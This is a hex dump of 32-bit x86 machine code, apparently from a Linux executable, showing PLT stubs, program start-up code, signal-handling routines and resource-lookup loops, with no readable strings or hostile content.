08 68 c0 02 00 00 e9 60 fa ff ff ff 25 60 7f 0d | .h.....`....%`..
08 68 c8 02 00 00 e9 50 fa ff ff ff 25 64 7f 0d | .h.....P....%d..
08 68 d0 02 00 00 e9 40 fa ff ff ff 25 68 7f 0d | .h.....@....%h..
08 68 d8 02 00 00 e9 30 fa ff ff ff 25 6c 7f 0d | .h.....0....%l..
08 68 e0 02 00 00 e9 20 fa ff ff ff 25 70 7f 0d | .h..... ....%p..
08 68 e8 02 00 00 e9 10 fa ff ff ff 25 74 7f 0d | .h..........%t..
08 68 f0 02 00 00 e9 00 fa ff ff ff 25 78 7f 0d | .h..........%x..
08 68 f8 02 00 00 e9 f0 f9 ff ff ff 25 7c 7f 0d | .h..........%|..
08 68 00 03 00 00 e9 e0 f9 ff ff ff 25 80 7f 0d | .h..........%...
08 68 08 03 00 00 e9 d0 f9 ff ff ff 25 84 7f 0d | .h..........%...
08 68 10 03 00 00 e9 c0 f9 ff ff ff 25 88 7f 0d | .h..........%...
08 68 18 03 00 00 e9 b0 f9 ff ff ff 25 8c 7f 0d | .h..........%...
08 68 20 03 00 00 e9 a0 f9 ff ff ff 25 90 7f 0d | .h .........%...
08 68 28 03 00 00 e9 90 f9 ff ff ff 25 94 7f 0d | .h(.........%...
08 68 30 03 00 00 e9 80 f9 ff ff ff 25 98 7f 0d | .h0.........%...
08 68 38 03 00 00 e9 70 f9 ff ff ff 25 9c 7f 0d | .h8....p....%...
08 68 40 03 00 00 e9 60 f9 ff ff ff 25 a0 7f 0d | .h@....`....%...
08 68 48 03 00 00 e9 50 f9 ff ff ff 25 a4 7f 0d | .hH....P....%...
08 68 50 03 00 00 e9 40 f9 ff ff ff 25 a8 7f 0d | .hP....@....%...
08 68 58 03 00 00 e9 30 f9 ff ff ff 25 ac 7f 0d | .hX....0....%...
08 68 60 03 00 00 e9 20 f9 ff ff ff 25 b0 7f 0d | .h`.... ....%...
08 68 68 03 00 00 e9 10 f9 ff ff ff 25 b4 7f 0d | .hh.........%...
08 68 70 03 00 00 e9 00 f9 ff ff ff 25 b8 7f 0d | .hp.........%...
08 68 78 03 00 00 e9 f0 f8 ff ff ff 25 bc 7f 0d | .hx.........%...
08 68 80 03 00 00 e9 e0 f8 ff ff ff 25 c0 7f 0d | .h..........%...
08 68 88 03 00 00 e9 d0 f8 ff ff ff 25 c4 7f 0d | .h..........%...
08 68 90 03 00 00 e9 c0 f8 ff ff ff 25 c8 7f 0d | .h..........%...
08 68 98 03 00 00 e9 b0 f8 ff ff ff 25 cc 7f 0d | .h..........%...
08 68 a0 03 00 00 e9 a0 f8 ff ff ff 25 d0 7f 0d | .h..........%...
08 68 a8 03 00 00 e9 90 f8 ff ff ff 25 d4 7f 0d | .h..........%...
08 68 b0 03 00 00 e9 80 f8 ff ff ff 25 d8 7f 0d | .h..........%...
08 68 b8 03 00 00 e9 70 f8 ff ff ff 25 dc 7f 0d | .h.....p....%...
08 68 c0 03 00 00 e9 60 f8 ff ff ff 25 e0 7f 0d | .h.....`....%...
08 68 c8 03 00 00 e9 50 f8 ff ff ff 25 e4 7f 0d | .h.....P....%...
08 68 d0 03 00 00 e9 40 f8 ff ff ff 25 e8 7f 0d | .h.....@....%...
08 68 d8 03 00 00 e9 30 f8 ff ff ff 25 ec 7f 0d | .h.....0....%...
08 68 e0 03 00 00 e9 20 f8 ff ff ff 25 f0 7f 0d | .h..... ....%...
08 68 e8 03 00 00 e9 10 f8 ff ff ff 25 f4 7f 0d | .h..........%...
08 68 f0 03 00 00 e9 00 f8 ff ff ff 25 f8 7f 0d | .h..........%...
08 68 f8 03 00 00 e9 f0 f7 ff ff ff 25 fc 7f 0d | .h..........%...
08 68 00 04 00 00 e9 e0 f7 ff ff ff 25 00 80 0d | .h..........%...
08 68 08 04 00 00 e9 d0 f7 ff ff ff 25 04 80 0d | .h..........%...
08 68 10 04 00 00 e9 c0 f7 ff ff ff 25 08 80 0d | .h..........%...
08 68 18 04 00 00 e9 b0 f7 ff ff ff 25 0c 80 0d | .h..........%...
08 68 20 04 00 00 e9 a0 f7 ff ff ff 25 10 80 0d | .h .........%...
08 68 28 04 00 00 e9 90 f7 ff ff ff 25 14 80 0d | .h(.........%...
08 68 30 04 00 00 e9 80 f7 ff ff ff 25 18 80 0d | .h0.........%...
08 68 38 04 00 00 e9 70 f7 ff ff ff 25 1c 80 0d | .h8....p....%...
08 68 40 04 00 00 e9 60 f7 ff ff ff 25 20 80 0d | .h@....`....% ..
08 68 48 04 00 00 e9 50 f7 ff ff ff 25 24 80 0d | .hH....P....%$..
08 68 50 04 00 00 e9 40 f7 ff ff ff 25 28 80 0d | .hP....@....%(..
08 68 58 04 00 00 e9 30 f7 ff ff ff 25 2c 80 0d | .hX....0....%,..
08 68 60 04 00 00 e9 20 f7 ff ff ff 25 30 80 0d | .h`.... ....%0..
08 68 68 04 00 00 e9 10 f7 ff ff ff 25 34 80 0d | .hh.........%4..
08 68 70 04 00 00 e9 00 f7 ff ff ff 25 38 80 0d | .hp.........%8..
08 68 78 04 00 00 e9 f0 f6 ff ff ff 25 3c 80 0d | .hx.........%<..
08 68 80 04 00 00 e9 e0 f6 ff ff ff 25 40 80 0d | .h..........%@..
08 68 88 04 00 00 e9 d0 f6 ff ff ff 25 44 80 0d | .h..........%D..
08 68 90 04 00 00 e9 c0 f6 ff ff ff 25 48 80 0d | .h..........%H..
08 68 98 04 00 00 e9 b0 f6 ff ff ff 25 4c 80 0d | .h..........%L..
08 68 a0 04 00 00 e9 a0 f6 ff ff ff 25 50 80 0d | .h..........%P..
08 68 a8 04 00 00 e9 90 f6 ff ff ff 25 54 80 0d | .h..........%T..
08 68 b0 04 00 00 e9 80 f6 ff ff ff 25 58 80 0d | .h..........%X..
08 68 b8 04 00 00 e9 70 f6 ff ff ff 25 5c 80 0d | .h.....p....%\..
08 68 c0 04 00 00 e9 60 f6 ff ff ff 25 60 80 0d | .h.....`....%`..
08 68 c8 04 00 00 e9 50 f6 ff ff ff 25 64 80 0d | .h.....P....%d..
08 68 d0 04 00 00 e9 40 f6 ff ff ff 25 68 80 0d | .h.....@....%h..
08 68 d8 04 00 00 e9 30 f6 ff ff ff 25 6c 80 0d | .h.....0....%l..
08 68 e0 04 00 00 e9 20 f6 ff ff ff 25 70 80 0d | .h..... ....%p..
08 68 e8 04 00 00 e9 10 f6 ff ff ff 25 74 80 0d | .h..........%t..
08 68 f0 04 00 00 e9 00 f6 ff ff ff 25 78 80 0d | .h..........%x..
08 68 f8 04 00 00 e9 f0 f5 ff ff ff 25 7c 80 0d | .h..........%|..
08 68 00 05 00 00 e9 e0 f5 ff ff ff 25 80 80 0d | .h..........%...
08 68 08 05 00 00 e9 d0 f5 ff ff ff 25 84 80 0d | .h..........%...
08 68 10 05 00 00 e9 c0 f5 ff ff ff 25 88 80 0d | .h..........%...
08 68 18 05 00 00 e9 b0 f5 ff ff ff 25 8c 80 0d | .h..........%...
08 68 20 05 00 00 e9 a0 f5 ff ff ff 25 90 80 0d | .h .........%...
08 68 28 05 00 00 e9 90 f5 ff ff ff 25 94 80 0d | .h(.........%...
08 68 30 05 00 00 e9 80 f5 ff ff ff 25 98 80 0d | .h0.........%...
08 68 38 05 00 00 e9 70 f5 ff ff ff 25 9c 80 0d | .h8....p....%...
08 68 40 05 00 00 e9 60 f5 ff ff ff 25 a0 80 0d | .h@....`....%...
08 68 48 05 00 00 e9 50 f5 ff ff ff 25 a4 80 0d | .hH....P....%...
08 68 50 05 00 00 e9 40 f5 ff ff ff 25 a8 80 0d | .hP....@....%...
08 68 58 05 00 00 e9 30 f5 ff ff ff 25 ac 80 0d | .hX....0....%...
08 68 60 05 00 00 e9 20 f5 ff ff ff 25 b0 80 0d | .h`.... ....%...
08 68 68 05 00 00 e9 10 f5 ff ff ff 25 b4 80 0d | .hh.........%...
08 68 70 05 00 00 e9 00 f5 ff ff ff 25 b8 80 0d | .hp.........%...
08 68 78 05 00 00 e9 f0 f4 ff ff ff 25 bc 80 0d | .hx.........%...
08 68 80 05 00 00 e9 e0 f4 ff ff ff 25 c0 80 0d | .h..........%...
08 68 88 05 00 00 e9 d0 f4 ff ff ff 25 c4 80 0d | .h..........%...
08 68 90 05 00 00 e9 c0 f4 ff ff ff 25 c8 80 0d | .h..........%...
08 68 98 05 00 00 e9 b0 f4 ff ff ff 25 cc 80 0d | .h..........%...
08 68 a0 05 00 00 e9 a0 f4 ff ff ff 25 d0 80 0d | .h..........%...
08 68 a8 05 00 00 e9 90 f4 ff ff ff 25 d4 80 0d | .h..........%...
08 68 b0 05 00 00 e9 80 f4 ff ff ff 25 d8 80 0d | .h..........%...
08 68 b8 05 00 00 e9 70 f4 ff ff ff 25 dc 80 0d | .h.....p....%...
08 68 c0 05 00 00 e9 60 f4 ff ff ff 25 e0 80 0d | .h.....`....%...
08 68 c8 05 00 00 e9 50 f4 ff ff ff 25 e4 80 0d | .h.....P....%...
08 68 d0 05 00 00 e9 40 f4 ff ff ff 25 e8 80 0d | .h.....@....%...
08 68 d8 05 00 00 e9 30 f4 ff ff ff 25 ec 80 0d | .h.....0....%...
08 68 e0 05 00 00 e9 20 f4 ff ff ff 25 f0 80 0d | .h..... ....%...
08 68 e8 05 00 00 e9 10 f4 ff ff ff 25 f4 80 0d | .h..........%...
08 68 f0 05 00 00 e9 00 f4 ff ff ff 25 f8 80 0d | .h..........%...
08 68 f8 05 00 00 e9 f0 f3 ff ff ff 25 fc 80 0d | .h..........%...
08 68 00 06 00 00 e9 e0 f3 ff ff ff 25 00 81 0d | .h..........%...
08 68 08 06 00 00 e9 d0 f3 ff ff ff 25 04 81 0d | .h..........%...
08 68 10 06 00 00 e9 c0 f3 ff ff ff 25 08 81 0d | .h..........%...
08 68 18 06 00 00 e9 b0 f3 ff ff ff 25 0c 81 0d | .h..........%...
08 68 20 06 00 00 e9 a0 f3 ff ff ff 25 10 81 0d | .h .........%...
08 68 28 06 00 00 e9 90 f3 ff ff ff 25 14 81 0d | .h(.........%...
08 68 30 06 00 00 e9 80 f3 ff ff ff 25 18 81 0d | .h0.........%...
08 68 38 06 00 00 e9 70 f3 ff ff ff 25 1c 81 0d | .h8....p....%...
08 68 40 06 00 00 e9 60 f3 ff ff ff 25 20 81 0d | .h@....`....% ..
08 68 48 06 00 00 e9 50 f3 ff ff ff 25 24 81 0d | .hH....P....%$..
08 68 50 06 00 00 e9 40 f3 ff ff ff 25 28 81 0d | .hP....@....%(..
08 68 58 06 00 00 e9 30 f3 ff ff ff 25 2c 81 0d | .hX....0....%,..
08 68 60 06 00 00 e9 20 f3 ff ff ff 25 30 81 0d | .h`.... ....%0..
08 68 68 06 00 00 e9 10 f3 ff ff ff 25 34 81 0d | .hh.........%4..
08 68 70 06 00 00 e9 00 f3 ff ff ff 25 38 81 0d | .hp.........%8..
08 68 78 06 00 00 e9 f0 f2 ff ff ff 25 3c 81 0d | .hx.........%<..
08 68 80 06 00 00 e9 e0 f2 ff ff ff 25 40 81 0d | .h..........%@..
08 68 88 06 00 00 e9 d0 f2 ff ff ff 25 44 81 0d | .h..........%D..
08 68 90 06 00 00 e9 c0 f2 ff ff ff 25 48 81 0d | .h..........%H..
08 68 98 06 00 00 e9 b0 f2 ff ff ff 25 4c 81 0d | .h..........%L..
08 68 a0 06 00 00 e9 a0 f2 ff ff ff 25 50 81 0d | .h..........%P..
08 68 a8 06 00 00 e9 90 f2 ff ff ff 25 54 81 0d | .h..........%T..
08 68 b0 06 00 00 e9 80 f2 ff ff ff 25 58 81 0d | .h..........%X..
08 68 b8 06 00 00 e9 70 f2 ff ff ff 25 5c 81 0d | .h.....p....%\..
08 68 c0 06 00 00 e9 60 f2 ff ff ff 25 60 81 0d | .h.....`....%`..
08 68 c8 06 00 00 e9 50 f2 ff ff ff 25 64 81 0d | .h.....P....%d..
08 68 d0 06 00 00 e9 40 f2 ff ff ff 25 68 81 0d | .h.....@....%h..
08 68 d8 06 00 00 e9 30 f2 ff ff ff 25 6c 81 0d | .h.....0....%l..
08 68 e0 06 00 00 e9 20 f2 ff ff ff 25 70 81 0d | .h..... ....%p..
08 68 e8 06 00 00 e9 10 f2 ff ff ff 25 74 81 0d | .h..........%t..
08 68 f0 06 00 00 e9 00 f2 ff ff ff 25 78 81 0d | .h..........%x..
08 68 f8 06 00 00 e9 f0 f1 ff ff ff 25 7c 81 0d | .h..........%|..
08 68 00 07 00 00 e9 e0 f1 ff ff ff 25 80 81 0d | .h..........%...
08 68 08 07 00 00 e9 d0 f1 ff ff ff 25 84 81 0d | .h..........%...
08 68 10 07 00 00 e9 c0 f1 ff ff ff 25 88 81 0d | .h..........%...
08 68 18 07 00 00 e9 b0 f1 ff ff ff 25 8c 81 0d | .h..........%...
08 68 20 07 00 00 e9 a0 f1 ff ff 00 00 00 00 00 | .h .............
00 00 00 31 ed 5e 89 e1 83 e4 f0 50 54 52 68 b0 | ...1.^.....PTRh.
4a 0c 08 68 c0 4a 0c 08 51 56 68 80 80 05 08 e8 | J..h.J..QVh.....
17 f5 ff ff f4 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 55 89 e5 53 83 ec 04 80 3d 44 e5 0d 08 | ...U..S....=D...
00 75 3f a1 48 e5 0d 08 bb 80 7c 0d 08 81 eb 7c | .u?.H.....|....|
7c 0d 08 c1 fb 02 83 eb 01 39 d8 73 1e 8d b6 00 | |........9.s....
00 00 00 83 c0 01 a3 48 e5 0d 08 ff 14 85 7c 7c | .......H......||
0d 08 a1 48 e5 0d 08 39 d8 72 e8 c6 05 44 e5 0d | ...H...9.r...D..
08 01 83 c4 04 5b 5d c3 8d 74 26 00 8d bc 27 00 | .....[]..t&...'.
00 00 00 55 89 e5 83 ec 18 a1 84 7c 0d 08 85 c0 | ...U.......|....
74 12 b8 00 00 00 00 85 c0 74 09 c7 04 24 84 7c | t........t...$.|
0d 08 ff d0 c9 c3 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 55 89 e5 8b 45 08 5d a3 cc 6c 0e 08 c3 | ...U...E.]..l...
8d 76 00 55 89 e5 8b 45 08 85 c0 74 0e a3 c0 6c | .v.U...E...t...l
0e 08 5d c3 8d b4 26 00 00 00 00 c7 05 c0 6c 0e | ..]...&.......l.
08 b0 8f 05 08 5d c3 8d b6 00 00 00 00 8d bf 00 | .....]..........
00 00 00 55 89 e5 56 89 c6 53 83 ec 10 c7 04 24 | ...U..V..S.....$
a4 4b 0c 08 e8 72 fb ff ff a1 e0 82 0d 08 85 c0 | .K...r..........
74 3c bb e0 82 0d 08 8d 74 26 00 89 44 24 08 8b | t<......t&..D$..
43 04 c7 04 24 bd 4b 0c 08 89 44 24 04 e8 09 f8 | C...$.K...D$....
ff ff 8b 43 08 83 c3 0c c7 04 24 c7 4b 0c 08 89 | ...C......$.K...
44 24 04 e8 f3 f7 ff ff 8b 03 85 c0 75 cd 89 34 | D$..........u..4
24 e8 15 fe ff ff 8d b6 00 00 00 00 8d bc 27 00 | $.............'.
00 00 00 55 89 e5 53 81 ec a4 01 00 00 8d 9d 72 | ...U..S........r
fe ff ff c7 04 24 cf 4b 0c 08 e8 fc fa ff ff c7 | .....$.K........
04 24 e6 4b 0c 08 e8 f0 fa ff ff 89 1c 24 e8 f8 | .$.K.........$..
f3 ff ff 85 c0 0f 84 d0 02 00 00 c7 04 24 7c 55 | .............$|U
0c 08 e8 d4 fa ff ff c7 04 24 9c 55 0c 08 e8 c8 | .........$.U....
fa ff ff c7 04 24 c4 55 0c 08 e8 bc fa ff ff c7 | .....$.U........
04 24 98 59 0c 08 e8 b0 fa ff ff c7 04 24 f8 59 | .$.Y.........$.Y
0c 08 e8 a4 fa ff ff c7 04 24 1c 5a 0c 08 e8 98 | .........$.Z....
fa ff ff c7 04 24 1e 4c 0c 08 e8 8c fa ff ff c7 | .....$.L........
04 24 28 4c 0c 08 e8 80 fa ff ff c7 04 24 68 5a | .$(L.........$hZ
0c 08 e8 74 fa ff ff c7 04 24 40 4c 0c 08 e8 68 | ...t.....$@L...h
fa ff ff c7 04 24 4e 4c 0c 08 e8 5c fa ff ff c7 | .....$NL...\....
04 24 69 4c 0c 08 e8 50 fa ff ff c7 04 24 88 5a | .$iL...P.....$.Z
0c 08 e8 44 fa ff ff c7 04 24 7e 4c 0c 08 e8 38 | ...D.....$~L...8
fa ff ff c7 04 24 94 4c 0c 08 e8 2c fa ff ff c7 | .....$.L...,....
04 24 af 4c 0c 08 e8 20 fa ff ff c7 04 24 cc 4c | .$.L... .....$.L
0c 08 e8 14 fa ff ff c7 04 24 e3 4c 0c 08 e8 08 | .........$.L....
fa ff ff c7 04 24 f0 4c 0c 08 e8 fc f9 ff ff c7 | .....$.L........
04 24 09 4d 0c 08 e8 f0 f9 ff ff c7 04 24 20 4d | .$.M.........$ M
0c 08 e8 e4 f9 ff ff c7 04 24 35 4d 0c 08 e8 d8 | .........$5M....
f9 ff ff c7 04 24 4d 4d 0c 08 e8 cc f9 ff ff c7 | .....$MM........
04 24 5f 4d 0c 08 e8 c0 f9 ff ff c7 04 24 72 4d | .$_M.........$rM
0c 08 e8 b4 f9 ff ff c7 04 24 8a 4d 0c 08 e8 a8 | .........$.M....
f9 ff ff c7 04 24 a0 4d 0c 08 e8 9c f9 ff ff c7 | .....$.M........
04 24 b6 4d 0c 08 e8 90 f9 ff ff c7 04 24 c8 4d | .$.M.........$.M
0c 08 e8 84 f9 ff ff c7 04 24 de 4d 0c 08 e8 78 | .........$.M...x
f9 ff ff c7 04 24 f6 4d 0c 08 e8 6c f9 ff ff c7 | .....$.M...l....
04 24 10 4e 0c 08 e8 60 f9 ff ff c7 04 24 27 4e | .$.N...`.....$'N
0c 08 e8 54 f9 ff ff c7 04 24 3b 4e 0c 08 e8 48 | ...T.....$;N...H
f9 ff ff c7 44 24 04 00 04 00 00 c7 04 24 ac 5a | ....D$.......$.Z
0c 08 e8 f4 f5 ff ff c7 44 24 04 a0 86 01 00 c7 | ........D$......
04 24 d0 5a 0c 08 e8 e0 f5 ff ff c7 44 24 04 08 | .$.Z........D$..
00 00 00 c7 04 24 fc 5a 0c 08 e8 cc f5 ff ff c7 | .....$.Z........
44 24 04 28 00 00 00 c7 04 24 28 5b 0c 08 e8 b8 | D$.(.....$([....
f5 ff ff c7 44 24 04 00 02 00 00 c7 04 24 50 5b | ....D$.......$P[
0c 08 e8 a4 f5 ff ff c7 44 24 04 50 00 00 00 c7 | ........D$.P....
04 24 74 5b 0c 08 e8 90 f5 ff ff c7 44 24 04 1e | .$t[........D$..
00 00 00 c7 04 24 a0 5b 0c 08 e8 7c f5 ff ff c7 | .....$.[...|....
44 24 04 1e 00 00 00 c7 04 24 cc 5b 0c 08 e8 68 | D$.......$.[...h
f5 ff ff c7 44 24 04 0a 00 00 00 c7 04 24 f0 5b | ....D$.......$.[
0c 08 e8 54 f5 ff ff c7 44 24 04 58 02 00 00 c7 | ...T....D$.X....
04 24 14 5c 0c 08 e8 40 f5 ff ff c7 44 24 04 1e | .$.\...@....D$..
00 00 00 c7 04 24 38 5c 0c 08 e8 2c f5 ff ff c7 | .....$8\...,....
44 24 04 2c 01 00 00 c7 04 24 5c 5c 0c 08 e8 18 | D$.,.....$\\....
f5 ff ff c7 44 24 04 2c 01 00 00 c7 04 24 80 5c | ....D$.,.....$.\
0c 08 e8 04 f5 ff ff c7 44 24 04 10 0e 00 00 c7 | ........D$......
04 24 a4 5c 0c 08 e8 f0 f4 ff ff c7 44 24 04 0a | .$.\........D$..
00 00 00 c7 04 24 c8 5c 0c 08 e8 dc f4 ff ff 81 | .....$.\........
c4 a4 01 00 00 5b 5d c3 8d 76 00 8d 85 76 ff ff | .....[]..v...v..
ff 89 44 24 0c 8d 85 f4 fe ff ff 89 44 24 08 89 | ..D$........D$..
5c 24 04 c7 04 24 00 4c 0c 08 e8 ac f4 ff ff e9 | \$...$.L........
13 fd ff ff eb 0d 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 55 89 e5 83 ec 18 a1 68 e5 0d 08 c7 44 | ...U......h....D
24 04 40 43 05 08 c7 04 24 0c 00 00 00 80 cc 01 | $.@C....$.......
a3 68 e5 0d 08 e8 61 ee ff ff c9 c3 8d b4 26 00 | .h....a.......&.
00 00 00 55 89 e5 83 ec 18 a1 68 e5 0d 08 c7 44 | ...U......h....D
24 04 00 00 00 00 c7 04 24 06 00 00 00 0c 80 a3 | $.......$.......
68 e5 0d 08 e8 32 ee ff ff c9 c3 90 8d b4 26 00 | h....2........&.
00 00 00 55 89 e5 83 ec 18 a1 68 e5 0d 08 c7 44 | ...U......h....D
24 04 a0 43 05 08 c7 04 24 01 00 00 00 83 c8 01 | $..C....$.......
a3 68 e5 0d 08 e8 01 ee ff ff c9 c3 8d b4 26 00 | .h............&.
00 00 00 55 89 e5 83 ec 18 a1 e4 6c 0e 08 a8 40 | ...U.......l...@
75 19 a1 e4 6c 0e 08 a8 04 75 10 a1 68 e5 0d 08 | u...l....u..h...
83 c8 04 a3 68 e5 0d 08 eb 0e 90 a1 68 e5 0d 08 | ....h.......h...
83 c8 02 a3 68 e5 0d 08 c7 44 24 04 01 00 00 00 | ....h....D$.....
c7 04 24 0a 00 00 00 e8 af ed ff ff c9 c3 90 8d | ..$.............
74 26 00 55 89 e5 53 83 ec 14 8b 5d 08 c7 04 24 | t&.U..S....]...$
00 00 00 00 e8 aa aa 01 00 83 fb 0b 89 1d 78 e5 | ..............x.
0d 08 74 4f 83 fb 0f 74 1a 83 fb 18 74 2d a1 68 | ..tO...t....t-.h
e5 0d 08 83 c8 40 a3 68 e5 0d 08 83 c4 14 5b 5d | .....@.h......[]
c3 66 90 a1 68 e5 0d 08 83 c8 10 a3 68 e5 0d 08 | .f..h.......h...
83 c4 14 5b 5d c3 90 8d 74 26 00 a1 68 e5 0d 08 | ...[]...t&..h...
83 c8 20 a3 68 e5 0d 08 83 c4 14 5b 5d c3 90 8d | .. .h......[]...
74 26 00 a1 68 e5 0d 08 c7 44 24 0c 0b 00 00 00 | t&..h....D$.....
c7 44 24 08 4f 4e 0c 08 c7 44 24 04 09 00 00 00 | .D$.ON...D$.....
83 c8 08 c7 04 24 6c 4e 0c 08 a3 68 e5 0d 08 e8 | .....$lN...h....
bf ff 02 00 c7 44 24 08 0b 00 00 00 c7 44 24 04 | .....D$......D$.
f8 5c 0c 08 c7 04 24 05 00 00 00 e8 e3 5b 01 00 | .\....$......[..
c7 04 24 01 00 00 00 e8 47 f6 02 00 c7 44 24 04 | ..$.....G....D$.
73 4e 0c 08 c7 04 24 06 00 00 00 89 44 24 08 e8 | sN....$.....D$..
bf 5b 01 00 c7 44 24 04 00 00 00 00 c7 04 24 0b | .[...D$.......$.
00 00 00 e8 b3 ec ff ff e9 3e ff ff ff 8d b6 00 | .........>......
00 00 00 55 89 e5 53 81 ec 94 00 00 00 8d 9d 78 | ...U..S........x
ff ff ff 89 1c 24 e8 30 eb ff ff c7 44 24 04 0f | .....$.0....D$..
00 00 00 89 1c 24 e8 f0 f4 ff ff c7 44 24 04 11 | .....$......D$..
00 00 00 89 1c 24 e8 e0 f4 ff ff e8 33 4b 00 00 | .....$......3K..
c7 44 24 08 00 00 00 00 89 5c 24 04 c7 04 24 00 | .D$......\$...$.
00 00 00 e8 f3 f3 ff ff 8d 76 00 c7 44 24 08 01 | .........v..D$..
00 00 00 c7 44 24 04 00 00 00 00 c7 04 24 ff ff | ....D$.......$..
ff ff e8 e4 f1 ff ff 85 c0 7e 18 89 04 24 e8 70 | .........~...$.p
43 01 00 85 c0 75 d4 c6 05 7c e5 0d 08 01 eb cb | C....u...|......
8d 76 00 89 5c 24 04 c7 44 24 08 00 00 00 00 c7 | .v..\$..D$......
04 24 01 00 00 00 e8 a0 f3 ff ff e8 43 4f 00 00 | .$..........CO..
81 c4 94 00 00 00 5b 5d c3 8d 76 00 8d bc 27 00 | ......[]..v...'.
00 00 00 55 89 e5 83 ec 18 a1 68 e5 0d 08 80 cc | ...U......h.....
02 a3 68 e5 0d 08 e8 28 ff ff ff c7 44 24 04 e0 | ..h....(....D$..
45 05 08 c7 04 24 11 00 00 00 e8 bc eb ff ff c9 | E....$..........
c3 66 90 55 89 e5 57 56 53 89 c3 83 ec 2c 89 55 | .f.U..WVS....,.U
e4 e8 3d 42 01 00 85 c0 75 11 8b 45 e4 83 c4 2c | ..=B....u..E...,
5b 5e 5f 5d c3 8d b6 00 00 00 00 c7 04 24 00 00 | [^_].........$..
00 00 e8 2c 42 01 00 85 c0 74 df 8b 50 14 83 fa | ...,B....t..P...
ff 74 27 89 d7 c1 ff 1f c1 ef 1b 8d 0c 17 89 ce | .t'.............
83 e1 1f 29 f9 bf 01 00 00 00 c1 fe 05 d3 e7 09 | ...)............
3c b3 3b 55 e4 7e 03 89 55 e4 89 04 24 e8 f1 41 | <.;U.~..U...$..A
01 00 85 c0 75 c5 8b 45 e4 83 c4 2c 5b 5e 5f 5d | ....u..E...,[^_]
c3 66 90 55 89 e5 57 56 53 83 ec 2c a1 5c e6 0d | .f.U..WVS..,.\..
08 c7 44 24 0c 00 00 00 00 c7 44 24 08 86 4e 0c | ..D$......D$..N.
08 c7 44 24 04 00 80 00 00 8b 40 40 89 04 24 e8 | ..D$......@@..$.
cf 9c 00 00 85 c0 89 c3 0f 84 a3 00 00 00 90 8d | ................
74 26 00 8b 43 20 8b 70 04 85 f6 74 0e bf a9 4e | t&..C .p...t...N
0c 08 b9 08 00 00 00 f3 a6 75 56 8b 30 c7 44 24 | .........uV.0.D$
04 e0 08 00 00 c7 04 24 90 4e 0c 08 e8 d2 66 00 | .......$.N....f.
00 89 74 24 04 c7 04 24 00 00 00 00 e8 3a ea ff | ..t$...$.....:..
ff 85 c0 0f 88 02 02 00 00 c7 44 24 04 e7 08 00 | ..........D$....
00 c7 04 24 90 4e 0c 08 e8 26 63 00 00 c7 44 24 | ...$.N...&c...D$
04 97 4e 0c 08 c7 04 24 02 00 00 00 e8 b2 58 01 | ..N....$......X.
00 8b 03 89 1c 24 c7 44 24 10 00 00 00 00 c7 44 | .....$.D$......D
24 0c 86 4e 0c 08 c7 44 24 08 00 80 00 00 89 44 | $..N...D$......D
24 04 e8 1c 9a 00 00 85 c0 89 c3 0f 85 62 ff ff | $............b..
ff a1 5c e6 0d 08 c7 44 24 0c 00 00 00 00 c7 44 | ..\....D$......D
24 08 b1 4e 0c 08 c7 44 24 04 00 80 00 00 8b 40 | $..N...D$......@
40 89 04 24 e8 fa 9b 00 00 85 c0 89 c3 0f 84 9e | @..$............
00 00 00 8b 43 20 8b 70 04 85 f6 74 0e bf a9 4e | ....C .p...t...N
0c 08 b9 08 00 00 00 f3 a6 75 56 8b 30 c7 44 24 | .........uV.0.D$
04 f8 08 00 00 c7 04 24 90 4e 0c 08 e8 02 66 00 | .......$.N....f.
00 89 74 24 04 c7 04 24 02 00 00 00 e8 6a e9 ff | ..t$...$.....j..
ff 85 c0 0f 88 7a 01 00 00 c7 44 24 04 0f 09 00 | .....z....D$....
00 c7 04 24 90 4e 0c 08 e8 56 62 00 00 c7 44 24 | ...$.N...Vb...D$
04 be 4e 0c 08 c7 04 24 02 00 00 00 e8 e2 57 01 | ..N....$......W.
00 8b 03 89 1c 24 c7 44 24 10 00 00 00 00 c7 44 | .....$.D$......D
24 0c b1 4e 0c 08 c7 44 24 08 00 80 00 00 89 44 | $..N...D$......D
24 04 e8 4c 99 00 00 85 c0 89 c3 0f 85 62 ff ff | $..L.........b..
ff a1 5c e6 0d 08 c7 44 24 0c 00 00 00 00 c7 44 | ..\....D$......D
24 08 db 4e 0c 08 c7 44 24 04 00 80 00 00 8b 40 | $..N...D$......@
40 89 04 24 e8 2a 9b 00 00 85 c0 89 c3 0f 84 9e | @..$.*..........
00 00 00 8b 43 20 8b 70 04 85 f6 74 0e bf a9 4e | ....C .p...t...N
0c 08 b9 08 00 00 00 f3 a6 75 56 8b 30 c7 44 24 | .........uV.0.D$
04 20 09 00 00 c7 04 24 90 4e 0c 08 e8 32 65 00 | . .....$.N...2e.
00 89 74 24 04 c7 04 24 07 00 00 00 e8 9a e8 ff | ..t$...$........
ff 85 c0 0f 88 f2 00 00 00 c7 44 24 04 30 09 00 | ..........D$.0..
00 c7 04 24 90 4e 0c 08 e8 86 61 00 00 c7 44 24 | ...$.N....a...D$
04 84 5d 0c 08 c7 04 24 02 00 00 00 e8 12 57 01 | ..]....$......W.
00 8b 03 89 1c 24 c7 44 24 10 00 00 00 00 c7 44 | .....$.D$......D
24 0c db 4e 0c 08 c7 44 24 08 00 80 00 00 89 44 | $..N...D$......D
24 04 e8 7c 98 00 00 85 c0 89 c3 0f 85 62 ff ff | $..|.........b..
ff 83 c4 2c 5b 5e 5f 5d c3 66 90 c7 44 24 04 e2 | ...,[^_].f..D$..
08 00 00 c7 04 24 90 4e 0c 08 e8 24 61 00 00 e8 | .....$.N...$a...
17 e7 ff ff 8b 00 89 04 24 e8 cd e7 ff ff c7 44 | ........$......D
24 04 18 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $..]....$.....D$
08 e8 6d 57 01 00 83 c4 2c 5b 5e 5f 5d c3 90 8d | ..mW....,[^_]...
74 26 00 c7 44 24 04 fb 08 00 00 c7 04 24 90 4e | t&..D$.......$.N
0c 08 e8 dc 60 00 00 e8 cf e6 ff ff 8b 00 89 04 | ....`...........
24 e8 85 e7 ff ff c7 44 24 04 3c 5d 0c 08 c7 04 | $......D$.<]....
24 03 00 00 00 89 44 24 08 e8 25 57 01 00 83 c4 | $.....D$..%W....
2c 5b 5e 5f 5d c3 90 8d 74 26 00 c7 44 24 04 23 | ,[^_]...t&..D$.#
09 00 00 c7 04 24 90 4e 0c 08 e8 94 60 00 00 e8 | .....$.N....`...
